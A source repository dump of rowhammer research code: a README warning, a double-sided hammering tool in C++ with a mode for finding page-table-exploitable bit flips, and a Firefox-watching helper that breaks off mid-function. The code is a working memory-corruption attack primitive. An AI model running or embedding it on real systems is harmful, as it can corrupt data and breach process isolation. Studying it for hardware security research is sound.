as-is. You are responsible 48 | for protecting yourself, your property and data, and others from any 49 | risks caused by this code. This code may cause unexpected and 50 | undesirable behavior to occur on your machine. This code may not 51 | detect the vulnerability on your machine. 52 | 53 | Be careful not to run this test on machines that contain important 54 | data. On machines that are susceptible to the rowhammer problem, this 55 | test could cause bit flips that crash the machine, or worse, cause bit 56 | flips in data that gets written back to disc. 57 | 58 | **Warning #2:** If you find that a computer is susceptible to the 59 | rowhammer problem, you may want to avoid using it as a multi-user 60 | system. Bit flips caused by row hammering breach the CPU's memory 61 | protection. On a machine that is susceptible to the rowhammer 62 | problem, one process can corrupt pages used by other processes or by 63 | the kernel. 64 | 65 | -------------------------------------------------------------------------------- /native/rowhammer.cc: -------------------------------------------------------------------------------- 1 | // Copyright 2015, Daniel Gruss, Clémentine Maurice 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | // 15 | // This code is a modification of the double_sided_rowhammer program: 16 | // https://github.com/google/rowhammer-test 17 | // and is copyright by Google 18 | // 19 | // ./rowhammer [-c number of cores] [-n number of reads] [-d number of dimms] [-t nsecs] [-p percent] 20 | // 21 | 22 | #define MIN(X,Y) (((X) < (Y)) ? (X) : (Y)) 23 | #define MAX(X,Y) (((X) > (Y)) ? (X) : (Y)) 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | //#include 30 | #define assert(X) do { if (!(X)) { fprintf(stderr,"assertion '" #X "' failed\n"); exit(-1); } } while (0) 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | 51 | namespace { 52 | 53 | // for debugging 54 | //#define MEASURE_EVICTION 55 | 56 | // The fraction of physical memory that should be mapped for testing. 57 | double fraction_of_physical_memory = 0.4; 58 | 59 | // The time to hammer before aborting. Defaults to one hour. 60 | uint64_t number_of_seconds_to_hammer = 720000; 61 | 62 | // This vector will be filled with all the pages we can get access to for a 63 | // given row size. 64 | std::vector> pages_per_row; 65 | 66 | // The number of memory reads to try. 67 | #define NUMBER_OF_READS (1*1000*1000) 68 | uint64_t number_of_reads = NUMBER_OF_READS; 69 | 70 | size_t CORES = 2; 71 | size_t DIMMS = 2; 72 | // haswell 9889 ivy 144 sandy 48763 73 | ssize_t ROW_INDEX = -1; 74 | // haswell 3 ivy 10 sandy 9 75 | ssize_t OFFSET1 = -1; 76 | // haswell 6 ivy 0 sandy 4 77 | ssize_t OFFSET2 = -1; 78 | 79 | 80 | // Obtain the size of the physical memory of the system. 81 | uint64_t GetPhysicalMemorySize() { 82 | struct sysinfo info; 83 | sysinfo( &info ); 84 | return (size_t)info.totalram * (size_t)info.mem_unit; 85 | } 86 | 87 | int pagemap = -1; 88 | 89 | uint64_t GetPageFrameNumber(int pagemap, uint8_t* virtual_address) { 90 | // Read the entry in the pagemap. 91 | uint64_t value; 92 | int got = pread(pagemap, &value, 8, 93 | (reinterpret_cast(virtual_address) / 0x1000) * 8); 94 | assert(got == 8); 95 | uint64_t page_frame_number = value & ((1ULL << 54)-1); 96 | return page_frame_number; 97 | } 98 | 99 | void SetupMapping(uint64_t* mapping_size, void** mapping) { 100 | *mapping_size = 101 | static_cast((static_cast(GetPhysicalMemorySize()) * 102 | fraction_of_physical_memory)); 103 | 104 | *mapping = mmap(NULL, *mapping_size, PROT_READ | PROT_WRITE, 105 | MAP_POPULATE | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 106 | assert(*mapping != (void*)-1); 107 | 108 | // Initialize the mapping so that the pages are non-empty. 109 | //fprintf(stderr,"[!] Initializing large memory mapping ..."); 110 | for (uint64_t index = 0; index < *mapping_size; index += 0x1000) { 111 | uint64_t* temporary = reinterpret_cast( 112 | static_cast(*mapping) + index); 113 | temporary[0] = index; 114 | } 115 | //fprintf(stderr,"done\n"); 116 | } 117 | 118 | // Given a physical memory address, this hashes the address and 119 | // returns the number of the cache slice that the address maps to. 120 | // 121 | // This assumes a 2-core Sandy Bridge CPU. 122 | // 123 | // "bad_bit" lets us test whether this hash function is correct. It 124 | // inverts whether the given bit number is included in the set of 125 | // address bits to hash. 126 | int get_cache_slice(uint64_t phys_addr, int bad_bit) { 127 | // On a 4-core machine, the CPU's hash function produces a 2-bit 128 | // cache slice number, where the two bits are defined by "h1" and 129 | // "h2": 130 | // 131 | // h1 function: 132 | // static const int bits[] = { 18, 19, 21, 23, 25, 27, 29, 30, 31 }; 133 | // h2 function: 134 | // static const int bits[] = { 17, 19, 20, 21, 22, 23, 24, 26, 28, 29, 31 }; 135 | // 136 | // This hash function is described in the paper "Practical Timing 137 | // Side Channel Attacks Against Kernel Space ASLR". 138 | // 139 | // On a 2-core machine, the CPU's hash function produces a 1-bit 140 | // cache slice number which appears to be the XOR of h1 and h2. 141 | 142 | // XOR of h1 and h2: 143 | static const int h0[] = { 6, 10, 12, 14, 16, 17, 18, 20, 22, 24, 25, 26, 27, 28, 30, 32, 33, 35, 36 }; 144 | static const int h1[] = { 7, 11, 13, 15, 17, 19, 20, 21, 22, 23, 24, 26, 28, 29, 31, 33, 34, 35, 37 }; 145 | 146 | int count = sizeof(h0) / sizeof(h0[0]); 147 | int hash = 0; 148 | for (int i = 0; i < count; i++) { 149 | hash ^= (phys_addr >> h0[i]) & 1; 150 | } 151 | if (CORES == 2) 152 | return hash; 153 | count = sizeof(h1) / sizeof(h1[0]); 154 | int hash1 = 0; 155 | for (int i = 0; i < count; i++) { 156 | hash1 ^= (phys_addr >> h1[i]) & 1; 157 | } 158 | return hash1 << 1 | hash; 159 | } 160 | size_t get_dram_mapping(void* phys_addr_p) { 161 | size_t single_dimm_shift = 0; 162 | if (DIMMS == 1) 163 | single_dimm_shift = 1; 164 | #if defined(SANDY) || defined(IVY) || defined(HASWELL) || defined(SKYLAKE) 165 | uint64_t phys_addr = (uint64_t) phys_addr_p; 166 | #if defined(SANDY) 167 | #define ARCH_SHIFT (1) 168 | static const size_t h0[] = { 14, 18 }; 169 | static const size_t h1[] = { 15, 19 }; 170 | static const size_t h2[] = { 16, 20 }; 171 | static const size_t h3[] = { 17, 21 }; 172 | static const size_t h4[] = { 17, 21 }; 173 | static const size_t h5[] = { 6 }; 174 | #elif defined(IVY) || defined(HASWELL) 175 | #define ARCH_SHIFT (1) 176 | static const size_t h0[] = { 14, 18 }; 177 | static const size_t h1[] = { 15, 19 }; 178 | static const size_t h2[] = { 16, 20 }; 179 | static const size_t h3[] = { 17, 21 }; 180 | static const size_t h4[] = { 17, 21 }; 181 | static const size_t h5[] = { 7, 8, 9, 12, 13, 18, 19 }; 182 | #elif defined(SKYLAKE) 183 | #define ARCH_SHIFT (2) 184 | static const size_t h0[] = { 7, 14 }; 185 | static const size_t h1[] = { 15, 19 }; 186 | static const size_t h2[] = { 16, 20 }; 187 | static const size_t h3[] = { 17, 21 }; 188 | static const size_t h4[] = { 18, 22 }; 189 | static const size_t h5[] = { 8, 9, 12, 13, 18, 19 }; 190 | #endif 191 | 192 | size_t hash = 0; 193 | size_t count = sizeof(h0) / sizeof(h0[0]); 194 | for (size_t i = 0; i < count; i++) { 195 | hash ^= (phys_addr >> (h0[i] - single_dimm_shift)) & 1; 196 | } 197 | size_t hash1 = 0; 198 | count = sizeof(h1) / sizeof(h1[0]); 199 | for (size_t i = 0; i < count; i++) { 200 | hash1 ^= (phys_addr >> (h1[i] - single_dimm_shift)) & 1; 201 | } 202 | size_t hash2 = 0; 203 | count = sizeof(h2) / sizeof(h2[0]); 204 | for (size_t i = 0; i < count; i++) { 205 | hash2 ^= (phys_addr >> (h2[i] - single_dimm_shift)) & 1; 206 | } 207 | size_t hash3 = 0; 208 | count = sizeof(h3) / sizeof(h3[0]); 209 | for (size_t i = 0; i < count; i++) { 210 | hash3 ^= (phys_addr >> (h3[i] - single_dimm_shift)) & 1; 211 | } 212 | size_t hash4 = 0; 213 | count = sizeof(h4) / sizeof(h4[0]); 214 | for (size_t i = 0; i < count; i++) { 215 | hash4 ^= (phys_addr >> (h4[i] - single_dimm_shift)) & 1; 216 | } 217 | size_t hash5 = 0; 218 | if (DIMMS == 2) 219 | { 220 | count = sizeof(h5) / sizeof(h5[0]); 221 | for (size_t i = 0; i < count; i++) { 222 | hash5 ^= (phys_addr >> h5[i]) & 1; 223 | } 224 | } 225 | return (hash5 << 5) | (hash4 << 4) | (hash3 << 3) | (hash2 << 2) | (hash1 << 1) | hash; 226 | #else 227 | #define ARCH_SHIFT (1) 228 | return 0; 229 | #endif 230 | } 231 | 232 | bool in_same_cache_set(uint64_t phys1, uint64_t phys2, int bad_bit) { 233 | // For Sandy Bridge, the bottom 17 bits determine the cache set 234 | // within the cache slice (or the location within a cache line). 235 | uint64_t mask = ((uint64_t) 1 << 17) - 1; 236 | return ((phys1 & mask) == (phys2 & mask) && 237 | get_cache_slice(phys1, bad_bit) == get_cache_slice(phys2, bad_bit)); 238 | } 239 | 240 | uint64_t rdtsc() { 241 | uint64_t a, d; 242 | asm volatile ("cpuid" ::: "rax","rbx","rcx","rdx"); 243 | asm volatile ("rdtscp" : "=a" (a), "=d" (d) : : "rcx"); 244 | a = (d<<32) | a; 245 | return a; 246 | } 247 | uint64_t rdtsc2() { 248 | uint64_t a, d; 249 | asm volatile ("rdtscp" : "=a" (a), "=d" (d) : : "rcx"); 250 | asm volatile ("cpuid" ::: "rax","rbx","rcx","rdx"); 251 | a = (d<<32) | a; 252 | return a; 253 | } 254 | 255 | // Extract the physical page number from a Linux /proc/PID/pagemap entry. 256 | uint64_t frame_number_from_pagemap(uint64_t value) { 257 | return value & ((1ULL << 54) - 1); 258 | } 259 | 260 | uint64_t get_physical_addr(uint64_t virtual_addr) { 261 | uint64_t value; 262 | off_t offset = (virtual_addr / 4096) * sizeof(value); 263 | int got = pread(pagemap, &value, sizeof(value), offset); 264 | assert(got == 8); 265 | 266 | // Check the "page present" flag. 267 | assert(value & (1ULL << 63)); 268 | 269 | uint64_t frame_num = frame_number_from_pagemap(value); 270 | return (frame_num * 4096) | (virtual_addr & (4095)); 271 | } 272 | 273 | #define ROW_SIZE (128*1024*DIMMS*ARCH_SHIFT) 274 | #define ADDR_COUNT (32) 275 | 276 | void pick(volatile uint64_t** addrs, int step) 277 | { 278 | uint8_t* buf = (uint8_t*) addrs[0]; 279 | uint64_t phys1 = get_physical_addr((uint64_t)buf); 280 | uint64_t presumed_row_index = phys1 / ROW_SIZE; 281 | int found = 1; 282 | //printf("%zx\n",phys1 / ROW_SIZE); // Print this for the watch_firefox tool 283 | presumed_row_index += step; 284 | while (found < ADDR_COUNT) 285 | { 286 | for (uint8_t* second_row_page : pages_per_row[presumed_row_index]) { 287 | uint64_t phys2 = get_physical_addr((uint64_t)second_row_page); 288 | if ((phys2 / ROW_SIZE) != ((phys1 / ROW_SIZE)+1) && in_same_cache_set(phys1, phys2, -1)) { 289 | addrs[found] = (uint64_t*)second_row_page; 290 | //printf("%zx\n",phys2 / ROW_SIZE); // Print this for the watch_firefox tool 291 | found++; 292 | } 293 | } 294 | presumed_row_index += step; 295 | } 296 | } 297 | 298 | volatile uint64_t* faddrs[ADDR_COUNT]; 299 | volatile uint64_t* saddrs[ADDR_COUNT]; 300 | 301 | size_t histf[1500]; 302 | size_t hists[1500]; 303 | 304 | void HammerThread() { 305 | return; 306 | } 307 | 308 | void dummy(volatile uint64_t* a,volatile uint64_t* b, volatile uint64_t* c, volatile uint64_t* d) 309 | { 310 | if (a == b && c == d) 311 | exit(-1); 312 | } 313 | 314 | //#define PERF_COUNTERS 315 | #ifdef PERF_COUNTERS 316 | class Perf { 317 | static long 318 | perf_event_open(struct perf_event_attr *hw_event, pid_t pid, 319 | int cpu, int group_fd, unsigned long flags) 320 | { 321 | int ret; 322 | 323 | ret = syscall(__NR_perf_event_open, hw_event, pid, cpu, 324 | group_fd, flags); 325 | return ret; 326 | } 327 | 328 | int fd_; 329 | 330 | public: 331 | Perf(size_t pid, size_t config) { 332 | struct perf_event_attr pe = {}; 333 | pe.type = PERF_TYPE_HARDWARE; 334 | pe.size = sizeof(pe); 335 | pe.config = config; 336 | pe.disabled = 0; 337 | pe.exclude_kernel = 0; 338 | pe.exclude_hv = 0; 339 | pe.pinned = 1; 340 | pe.inherit = 1; 341 | 342 | fd_ = perf_event_open(&pe, pid, -1, -1, 0); 343 | assert(fd_ >= 0); 344 | } 345 | 346 | void start() { 347 | int rc = ioctl(fd_, PERF_EVENT_IOC_RESET, 0); 348 | assert(rc == 0); 349 | rc = ioctl(fd_, PERF_EVENT_IOC_ENABLE, 0); 350 | assert(rc == 0); 351 | } 352 | 353 | size_t stop() { 354 | int rc = ioctl(fd_, PERF_EVENT_IOC_DISABLE, 0); 355 | assert(rc == 0); 356 | size_t count; 357 | int got = read(fd_, &count, sizeof(count)); 358 | assert(got == sizeof(count)); 359 | return count; 360 | } 361 | }; 362 | #endif 363 | 364 | //#define MEASURE_EVICTION 365 | uint64_t HammerAddressesStandard( 366 | const std::pair& first_range, 367 | const std::pair& second_range, 368 | uint64_t number_of_reads) { 369 | 370 | #ifdef PERF_COUNTERS 371 | Perf perfh(0,PERF_COUNT_HW_CACHE_REFERENCES); 372 | Perf perfm(0,PERF_COUNT_HW_CACHE_MISSES); 373 | perfh.start(); 374 | perfm.start(); 375 | #endif 376 | faddrs[0] = (uint64_t*) first_range.first; 377 | saddrs[0] = (uint64_t*) second_range.first; 378 | 379 | #ifdef EVICTION_BASED 380 | pick(faddrs,+1); 381 | pick(saddrs,+1); 382 | #endif 383 | 384 | volatile uint64_t* f = faddrs[0]; 385 | volatile uint64_t* s = saddrs[0]; 386 | 387 | uint64_t sum = 0; 388 | size_t t0 = rdtsc(); 389 | size_t t = 0,t2 = 0,delta = 0,delta2 = 0; 390 | while (number_of_reads-- > 0) { 391 | #ifdef MEASURE_EVICTION 392 | rdtsc(); 393 | t = rdtsc(); 394 | #endif 395 | *f; 396 | #ifdef MEASURE_EVICTION 397 | t2 = rdtsc2(); 398 | histf[MAX(0,MIN(99,(t2 - t) / 5))]++; 399 | rdtsc2(); 400 | rdtsc(); 401 | t = rdtsc(); 402 | #endif 403 | *s; 404 | #ifdef MEASURE_EVICTION 405 | t2 = rdtsc2(); 406 | hists[MAX(MIN((t2 - t) / 5,99),0)]++; 407 | #endif 408 | 409 | #ifdef EVICTION_BASED 410 | for (size_t i = 1; i < 18; i += 1) 411 | { 412 | *faddrs[i]; 413 | *saddrs[i]; 414 | *faddrs[i+1]; 415 | *saddrs[i+1]; 416 | *faddrs[i]; 417 | *saddrs[i]; 418 | *faddrs[i+1]; 419 | *saddrs[i+1]; 420 | *faddrs[i]; 421 | *saddrs[i]; 422 | *faddrs[i+1]; 423 | *saddrs[i+1]; 424 | *faddrs[i]; 425 | *saddrs[i]; 426 | *faddrs[i+1]; 427 | *saddrs[i+1]; 428 | *faddrs[i]; 429 | *saddrs[i]; 430 | *faddrs[i+1]; 431 | *saddrs[i+1]; 432 | } 433 | #else 434 | #if defined(SKYLAKE) && !defined(NO_CLFLUSHOPT) 435 | asm volatile("clflushopt (%0)" : : "r" (f) : "memory"); 436 | asm volatile("clflushopt (%0)" : : "r" (s) : "memory"); 437 | #else 438 | asm volatile("clflush (%0)" : : "r" (f) : "memory"); 439 | asm volatile("clflush (%0)" : : "r" (s) : "memory"); 440 | #endif 441 | #endif 442 | } 443 | printf("%zu ",(rdtsc2() - t0) / (NUMBER_OF_READS)); 444 | #ifdef MEASURE_EVICTION 445 | for (size_t i = 0; i < 100; ++i) 446 | { 447 | printf("%zu,%zu\n",i * 5, histf[i] + hists[i]); 448 | histf[i] = 0; 449 | hists[i] = 0; 450 | } 451 | #endif 452 | #ifdef PERF_COUNTERS 453 | size_t th = perfh.stop(); 454 | size_t tm = perfm.stop(); 455 | printf(" Hits: %zu\n",th); 456 | printf("Misses: %zu\n",tm); 457 | #endif 458 | //dummy(f0,f1,s0,s1); 459 | return sum; 460 | } 461 | 462 | typedef uint64_t(HammerFunction)( 463 | const std::pair& first_range, 464 | const std::pair& second_range, 465 | uint64_t number_of_reads); 466 | 467 | // A comprehensive test that attempts to hammer adjacent rows for a given 468 | // assumed row size (and assumptions of sequential physical addresses for 469 | // various rows. 470 | uint64_t HammerAllReachablePages(void* memory_mapping, uint64_t memory_mapping_size, HammerFunction* hammer, 471 | uint64_t number_of_reads) { 472 | uint64_t total_bitflips = 0; 473 | 474 | pages_per_row.resize(memory_mapping_size / ROW_SIZE); 475 | pagemap = open("/proc/self/pagemap", O_RDONLY); 476 | assert(pagemap >= 0); 477 | 478 | //fprintf(stderr,"[!] Identifying rows for accessible pages ... "); 479 | for (uint64_t offset = 0; offset < memory_mapping_size; offset += 0x1000) { // maybe * DIMMS 480 | uint8_t* virtual_address = static_cast(memory_mapping) + offset; 481 | uint64_t page_frame_number = GetPageFrameNumber(pagemap, virtual_address); 482 | uint64_t physical_address = page_frame_number * 0x1000; 483 | uint64_t presumed_row_index = physical_address / ROW_SIZE; 484 | //printf("[!] put va %lx pa %lx into row %ld\n", (uint64_t)virtual_address, 485 | // physical_address, presumed_row_index); 486 | if (presumed_row_index > pages_per_row.size()) { 487 | pages_per_row.resize(presumed_row_index); 488 | } 489 | pages_per_row[presumed_row_index].push_back(virtual_address); 490 | //printf("[!] done\n"); 491 | } 492 | //fprintf(stderr,"Done\n"); 493 | srand(rdtsc()); 494 | // We should have some pages for most rows now. 495 | //for (uint64_t row_index = 0; row_index < pages_per_row.size(); ++row_index) { // scan all rows 496 | while (1) { 497 | uint64_t row_index = ROW_INDEX < 0? rand()%pages_per_row.size():ROW_INDEX; // fix to specific row 498 | bool cont = false; 499 | for (int64_t offset = 0; offset < 3; ++offset) 500 | { 501 | if (pages_per_row[row_index + offset].size() != ROW_SIZE/4096) 502 | { 503 | cont = true; 504 | fprintf(stderr,"[!] Can't hammer row %ld - only got %ld (of %ld) pages\n", 505 | row_index+offset, pages_per_row[row_index+offset].size(),ROW_SIZE/4096); 506 | break; 507 | } 508 | } 509 | if (cont) 510 | continue; 511 | printf("[!] Hammering rows %ld/%ld/%ld of %ld (got %ld/%ld/%ld pages)\n", 512 | row_index, row_index+1, row_index+2, pages_per_row.size(), 513 | pages_per_row[row_index].size(), pages_per_row[row_index+1].size(), 514 | pages_per_row[row_index+2].size()); 515 | if (OFFSET1 < 0) 516 | OFFSET1 = -1; 517 | // Iterate over all pages we have for the first row. 518 | for (uint8_t* first_row_page : pages_per_row[row_index]) 519 | { 520 | if (OFFSET1 >= 0) 521 | first_row_page = pages_per_row[row_index].at(OFFSET1); 522 | if (OFFSET2 < 0) 523 | OFFSET2 = -1; 524 | for (uint8_t* second_row_page : pages_per_row[row_index+2]) 525 | { 526 | if (OFFSET2 >= 0) 527 | second_row_page = pages_per_row[row_index+2].at(OFFSET2); 528 | if (get_dram_mapping(first_row_page) != get_dram_mapping(second_row_page)) 529 | { 530 | if (OFFSET1 >= 0 && OFFSET2 >= 0 && ROW_INDEX >= 0) 531 | { 532 | printf("[!] Combination not valid for your architecture, won't be in the same bank.\n"); 533 | exit(-1); 534 | } 535 | continue; 536 | } 537 | uint32_t offset_line = 0; 538 | uint8_t cnt = 0; 539 | // Set all the target pages to 0xFF. 540 | #define VAL ((uint64_t)((offset % 2) == 0 ? 0 : -1ULL)) 541 | for (int32_t offset = 0; offset < 3; offset += 1) 542 | for (uint8_t* target_page8 : pages_per_row[row_index+offset]) { 543 | uint64_t* target_page = (uint64_t*)target_page8; 544 | for (uint32_t index = 0; index < 512; ++index) 545 | target_page[index] = VAL; 546 | } 547 | // Now hammer the two pages we care about. 548 | std::pair first_page_range( 549 | reinterpret_cast(first_row_page+offset_line), 550 | reinterpret_cast(first_row_page+offset_line+0x1000)); 551 | std::pair second_page_range( 552 | reinterpret_cast(second_row_page+offset_line), 553 | reinterpret_cast(second_row_page+offset_line+0x1000)); 554 | 555 | size_t number_of_bitflips_in_target = 0; 556 | #ifdef FIND_EXPLOITABLE_BITFLIPS 557 | for (size_t tries = 0; tries < 2; ++tries) 558 | #endif 559 | { 560 | hammer(first_page_range, second_page_range, number_of_reads); 561 | // Now check the target pages. 562 | int32_t offset = 1; 563 | for (; offset < 2; offset += 1) 564 | for (const uint8_t* target_page8 : pages_per_row[row_index+offset]) { 565 | const uint64_t* target_page = (const uint64_t*) target_page8; 566 | for (uint32_t index = 0; index < 512; ++index) { 567 | if (target_page[index] != VAL) { 568 | ++number_of_bitflips_in_target; 569 | fprintf(stderr,"[!] Found %zu. flip (0x%016lx != 0x%016lx) in row %ld (%lx) (when hammering " 570 | "rows %zu and %zu at first offset %zu and second offset %zu\n", number_of_bitflips_in_target, target_page[index], VAL, row_index+offset, 571 | GetPageFrameNumber(pagemap, (uint8_t*)target_page + index)*0x1000+(((size_t)target_page + index)%0x1000), 572 | row_index,row_index +2,OFFSET1 < 0?-(OFFSET1+1):OFFSET1,OFFSET2 < 0?-(OFFSET2+1):OFFSET2); 573 | } 574 | } 575 | #ifdef FIND_EXPLOITABLE_BITFLIPS 576 | if (number_of_bitflips_in_target > 0) 577 | { 578 | for (uint32_t index = 0; index < 512; ++index) { 579 | if ((((uint64_t*)target_page)[index] & 0x3) == 0x3 && (((uint64_t*)target_page)[index] & 0x1FFFFF000ULL) != 0) 580 | { 581 | printf("exploitable bitflip: %lx\n",((uint64_t*)target_page)[index]); 582 | exit(0); 583 | } 584 | } 585 | } 586 | #endif 587 | } 588 | #ifdef FIND_EXPLOITABLE_BITFLIPS 589 | if (number_of_bitflips_in_target == 0) 590 | break; 591 | else 592 | number_of_reads = 16*NUMBER_OF_READS; 593 | #endif 594 | } 595 | number_of_reads = NUMBER_OF_READS; 596 | if (OFFSET2 < 0) 597 | OFFSET2--; 598 | else 599 | break; 600 | } 601 | if (OFFSET1 < 0) 602 | OFFSET1--; 603 | else 604 | break; 605 | } 606 | } 607 | return total_bitflips; 608 | } 609 | 610 | void HammerAllReachableRows(HammerFunction* hammer, uint64_t number_of_reads) { 611 | uint64_t mapping_size; 612 | void* mapping; 613 | SetupMapping(&mapping_size, &mapping); 614 | 615 | HammerAllReachablePages(mapping, mapping_size, 616 | hammer, number_of_reads); 617 | } 618 | 619 | void HammeredEnough(int sig) { 620 | printf("[!] Spent %ld seconds hammering, exiting now.\n", 621 | number_of_seconds_to_hammer); 622 | fflush(stdout); 623 | fflush(stderr); 624 | exit(0); 625 | } 626 | 627 | } // namespace 628 | 629 | int main(int argc, char** argv) { 630 | // Turn off stdout buffering when it is a pipe. 631 | setvbuf(stdout, NULL, _IONBF, 0); 632 | 633 | int opt; 634 | while ((opt = getopt(argc, argv, "t:p:c:d:r:f:s:")) != -1) { 635 | switch (opt) { 636 | case 't': 637 | number_of_seconds_to_hammer = atoi(optarg); 638 | break; 639 | case 'p': 640 | fraction_of_physical_memory = atof(optarg); 641 | break; 642 | case 'c': 643 | CORES = atof(optarg) * ARCH_SHIFT; 644 | break; 645 | case 'd': 646 | DIMMS = atoi(optarg); 647 | break; 648 | case 'r': 649 | ROW_INDEX = atof(optarg); 650 | break; 651 | case 'f': 652 | OFFSET1 = atof(optarg); 653 | break; 654 | case 's': 655 | OFFSET2 = atoi(optarg); 656 | break; 657 | default: 658 | fprintf(stderr, "Usage: %s [-t nsecs] [-p percent] [-c cores] [-d dimms] [-r row] [-f first_offset] [-s second_offset]\n", 659 | argv[0]); 660 | exit(EXIT_FAILURE); 661 | } 662 | } 663 | assert(DIMMS == 1 || DIMMS == 2); 664 | 665 | signal(SIGALRM, HammeredEnough); 666 | 667 | //fprintf(stderr,"[!] Starting the testing process...\n"); 668 | alarm(number_of_seconds_to_hammer); 669 | HammerAllReachableRows(&HammerAddressesStandard, number_of_reads); 670 | } 671 | -------------------------------------------------------------------------------- /tools/Makefile: -------------------------------------------------------------------------------- 1 | all: watch_firefox 2 | clean: 3 | rm -f watch_firefox 4 | watch_firefox: watch_firefox.cc 5 | g++ -g -pthread -std=c++11 -O3 -o $@ $@.cc 6 | -------------------------------------------------------------------------------- /tools/watch_firefox.cc: -------------------------------------------------------------------------------- 1 | // Copyright 2015, Daniel Gruss, Clémentine Maurice 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | // 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | 25 | // fill addresses in here in the following scheme: 26 | // 1x check for bitflip area start address 27 | // 1x check for bitflip area end address 28 | // 64x faddrs array from double_sided_rowhammer_* program 29 | // 64x saddrs array from double_sided_rowhammer_* program 30 | static const size_t target_addrs[] = { 31 | 0x4d444000, 32 | 0x4d446000, 33 | 34 | 0x4d423000, 35 | 0x4d503000, 36 | 0x4d563000, 37 | 0x4d6a3000, 38 | 0x4d6c3000, 39 | 0x4d783000, 40 | 0x4d7e3000, 41 | 0x4d883000, 42 | 0x4d8e3000, 43 | 0x4d9a3000, 44 | 0x4d9c3000, 45 | 0x4da03000, 46 | 0x4da63000, 47 | 0x4db23000, 48 | 0x4db43000, 49 | 0x4dca3000, 50 | 0x4dcc3000, 51 | 0x4dd83000, 52 | 0x4dde3000, 53 | 0x4de23000, 54 | 0x4de43000, 55 | 0x4df03000, 56 | 0x4df63000, 57 | 0x4e083000, 58 | 0x4e0e3000, 59 | 0x4e1a3000, 60 | 0x4e1c3000, 61 | 0x4e203000, 62 | 0x4e263000, 63 | 0x4e323000, 64 | 0x4e343000, 65 | 0x4e4a3000, 66 | 0x4e4c3000, 67 | 0x4e583000, 68 | 0x4e5e3000, 69 | 0x4e623000, 70 | 0x4e643000, 71 | 0x4e703000, 72 | 0x4e763000, 73 | 0x4e803000, 74 | 0x4e863000, 75 | 0x4e923000, 76 | 0x4e943000, 77 | 0x4ea83000, 78 | 0x4eae3000, 79 | 0x4eba3000, 80 | 0x4ebc3000, 81 | 0x4ec23000, 82 | 0x4ec43000, 83 | 0x4ed03000, 84 | 0x4ed63000, 85 | 0x4eea3000, 86 | 0x4eec3000, 87 | 0x4ef83000, 88 | 0x4efe3000, 89 | 0x4f0a3000, 90 | 0x4f0c3000, 91 | 0x4f183000, 92 | 0x4f1e3000, 93 | 0x4f223000, 94 | 0x4f243000, 95 | 0x4f303000, 96 | 0x4f363000, 97 | 0x4f483000, 98 | 0x4d466000, 99 | 0x4d526000, 100 | 0x4d546000, 101 | 0x4d686000, 102 | 0x4d6e6000, 103 | 0x4d7a6000, 104 | 0x4d7c6000, 105 | 0x4d8a6000, 106 | 0x4d8c6000, 107 | 0x4d986000, 108 | 0x4d9e6000, 109 | 0x4da26000, 110 | 0x4da46000, 111 | 0x4db06000, 112 | 0x4db66000, 113 | 0x4dc86000, 114 | 0x4dce6000, 115 | 0x4dda6000, 116 | 0x4ddc6000, 117 | 0x4de06000, 118 | 0x4de66000, 119 | 0x4df26000, 120 | 0x4df46000, 121 | 0x4e0a6000, 122 | 0x4e0c6000, 123 | 0x4e186000, 124 | 0x4e1e6000, 125 | 0x4e226000, 126 | 0x4e246000, 127 | 0x4e306000, 128 | 0x4e366000, 129 | 0x4e486000, 130 | 0x4e4e6000, 131 | 0x4e5a6000, 132 | 0x4e5c6000, 133 | 0x4e606000, 134 | 0x4e666000, 135 | 0x4e726000, 136 | 0x4e746000, 137 | 0x4e826000, 138 | 0x4e846000, 139 | 0x4e906000, 140 | 0x4e966000, 141 | 0x4eaa6000, 142 | 0x4eac6000, 143 | 0x4eb86000, 144 | 0x4ebe6000, 145 | 0x4ec06000, 146 | 0x4ec66000, 147 | 0x4ed26000, 148 | 0x4ed46000, 149 | 0x4ee86000, 150 | 0x4eee6000, 151 | 0x4efa6000, 152 | 0x4efc6000, 153 | 0x4f086000, 154 | 0x4f0e6000, 155 | 0x4f1a6000, 156 | 0x4f1c6000, 157 | 0x4f206000, 158 | 0x4f266000, 159 | 0x4f326000, 160 | 0x4f346000, 161 | 0x4f4a6000, 162 | 163 | }; 164 | 165 | #define N_TARGET_ADDRS (128+2) 166 | 167 | size_t found_target_addrs = 0; 168 | 169 | std::map virt2phys; 170 | std::map phys2virtsel; 171 | std::set oldvirt; 172 | std::set virt; 173 | std::map virt2size; 174 | std::map virt2string; 175 | 176 | size_t startvaddr = 0; 177 | 178 | uint64_t rdtsc() { 179 | uint64_t a, d; 180 | asm volatile ("rdtsc" : "=a" (a), "=d" (d)); 181 | a = (d<<32) | a; 182 | return a; 183 | } 184 | 185 | size_t vaddr2paddr(FILE* pagemap, size_t virtual_address) { 186 | uint64_t value; 187 | fseek(pagemap, (virtual_address / 0x1000) * 8, SEEK_SET); 188 | int got = fread(&value, 1, 8, pagemap); 189 | return ((value & ((1ULL << 54)-1)) << 12) | (virtual_address & 0xFFF); 190 | } 191 | 192 | int main() 193 | { 194 | size_t alloccounter = 0; 195 | FILE* f = popen("/bin/ps -FA | /bin/grep '/firefox' | /bin/grep -oE '[0-9]+'","r"); 196 | char* line = 0; 197 | size_t n = 0; 198 | if 